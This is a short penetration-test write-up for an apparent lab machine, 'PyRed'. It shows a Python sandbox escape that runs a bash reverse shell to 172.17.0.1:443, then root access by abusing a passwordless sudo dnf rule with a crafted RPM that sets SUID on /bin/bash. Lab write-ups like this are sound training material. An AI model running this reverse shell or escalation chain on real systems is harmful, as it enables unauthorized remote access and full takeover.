
PyRed

This report documents the findings and actions taken during the penetration test on the target machine `PyRed`. The primary objectives were to identify open ports, bypass security mechanisms, and achieve privilege escalation.

---

1. Information Gathering

Open Ports

- **Port 5000**: The target machine has port 5000 open, typically used by web applications. Further enumeration is recommended to identify the exact service running on this port.

---

2. Exploitation

Bypassing Python Sandboxes

A sandbox environment was identified on the target machine, restricting certain operations in Python. To bypass the Python sandbox, the following code was used to spawn a reverse shell:

```python
import os
os.system("bash -i >& /dev/tcp/172.17.0.1/443 0>&1")
```

Steps Taken:

1. Executed the above Python code in the sandboxed environment.
2. Successfully established a reverse shell connection to `172.17.0.1` on port `443`.

Reference: Bypassing Python Sandboxes

---

3. Privilege Escalation

Identifying Privilege Escalation Vectors

Running `sudo -l` revealed that the user `primpi` can run the following command without a password:

```
User primpi may run the following commands on c99f3ae0450c:
    (ALL) NOPASSWD: /usr/bin/dnf
```

Exploitation

To leverage this sudo permission to escalate privileges, the following steps were taken:

1. **Create a Temporary Directory:**

```
TF=$(mktemp -d)
```

2. **Create a Script for Privilege Escalation:**

```
echo 'chmod u+s /bin/bash' > $TF/x.sh
```

3. **Package the Script into an RPM:**

```
fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF
```

This created the package `x-1.0-1.noarch.rpm`.

4. **Transfer the RPM Package to the Target Machine:**

Ensure the package `x-1.0-1.noarch.rpm` is transferred to the target machine.

5. **Install the RPM Package with `dnf`:**

```
sudo dnf install -y x-1.0-1.noarch.rpm
```

6. **Gain Elevated Privileges:**

```
bash -p
```

This provided a root shell on the target machine.